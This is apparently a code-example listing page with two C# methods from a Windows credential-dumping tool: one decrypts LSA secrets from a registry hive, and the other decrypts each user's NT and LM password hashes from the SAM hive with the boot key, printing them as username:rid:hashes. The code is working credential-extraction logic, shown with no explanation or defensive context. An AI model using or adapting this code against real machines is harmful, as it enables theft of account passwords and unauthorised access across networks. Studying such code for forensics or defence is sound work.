Beispiel #1
0
        private static byte[] DumpSecret(NodeKey secret, byte[] lsaKey)
        {
            NodeKey secretCurrVal = secret.ChildNodes.Find(x => x.Name.Contains("CurrVal"));

            byte[]    value  = secretCurrVal.getChildValues("Default");
            LsaSecret record = new LsaSecret(value);

            byte[] tempKey   = Crypto.ComputeSha256(lsaKey, record.data.Take(32).ToArray());
            byte[] dataVal2  = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
            byte[] plaintext = Crypto.DecryptAES_ECB(dataVal2, tempKey);

            return(plaintext);
        }
Beispiel #2
0
        public static List <string> ParseSam(byte[] bootKey, RegistryHive sam)
        {
            List <string> retVal = new List <string>
            {
                "  [*] SAM hashes"
            };

            try
            {
                NodeKey nk            = GetNodeKey(sam, @"SAM\Domains\Account");
                byte[]  fVal          = nk.getChildValues("F");
                byte[]  hashedBootKey = GetHashedBootKey(bootKey, fVal);
                NodeKey targetNode    = nk.ChildNodes.Find(x => x.Name.Contains("Users"));
                byte[]  antpassword   = Encoding.ASCII.GetBytes("NTPASSWORD\0");
                byte[]  almpassword   = Encoding.ASCII.GetBytes("LMPASSWORD\0");
                foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000")))
                {
                    byte[] rid      = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber));
                    byte[] v        = user.getChildValues("V");
                    int    offset   = BitConverter.ToInt32(v, 12) + 204;
                    int    length   = BitConverter.ToInt32(v, 16);
                    string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray());

                    //there are 204 bytes of headers / flags prior to data in the encrypted key data structure
                    int    lmHashOffset = BitConverter.ToInt32(v, 156) + 204;
                    int    lmHashLength = BitConverter.ToInt32(v, 160);
                    int    ntHashOffset = BitConverter.ToInt32(v, 168) + 204;
                    int    ntHashLength = BitConverter.ToInt32(v, 172);
                    string lmHash       = "aad3b435b51404eeaad3b435b51404ee";
                    string ntHash       = "31d6cfe0d16ae931b73c59d7e0c089c0";

                    //old style hashes
                    if (v[ntHashOffset + 2].Equals(0x01))
                    {
                        IEnumerable <byte> lmKeyParts          = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword);
                        byte[]             lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray());
                        IEnumerable <byte> ntKeyParts          = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword);
                        byte[]             ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray());
                        byte[]             encryptedLmHash     = null;
                        byte[]             encryptedNtHash     = null;

                        if (ntHashLength == 20)
                        {
                            encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray();
                            byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash);
                            ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", "");
                        }
                        if (lmHashLength == 20)
                        {
                            encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray();
                            byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash);
                            lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", "");
                        }
                    }
                    //new-style hashes
                    else
                    {
                        byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray();
                        byte[] lmData      = enc_LM_Hash.Skip(24).ToArray();
                        //if a hash exists, otherwise we have to return the default string val
                        if (lmData.Length > 0)
                        {
                            byte[] lmHashSalt       = enc_LM_Hash.Skip(8).Take(16).ToArray();
                            byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray();
                            lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
                        }

                        byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray();
                        byte[] ntData      = enc_NT_Hash.Skip(24).ToArray();
                        //if a hash exists, otherwise we have to return the default string val
                        if (ntData.Length > 0)
                        {
                            byte[] ntHashSalt       = enc_NT_Hash.Skip(8).Take(16).ToArray();
                            byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray();
                            ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
                        }
                    }
                    string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString();
                    string hashes = (lmHash + ":" + ntHash);
                    retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower()));
                }
            }
            catch (Exception e)
            {
                retVal.Add("[-] Error parsing SAM dump file: " + e.ToString());
            }
            return(retVal);
        }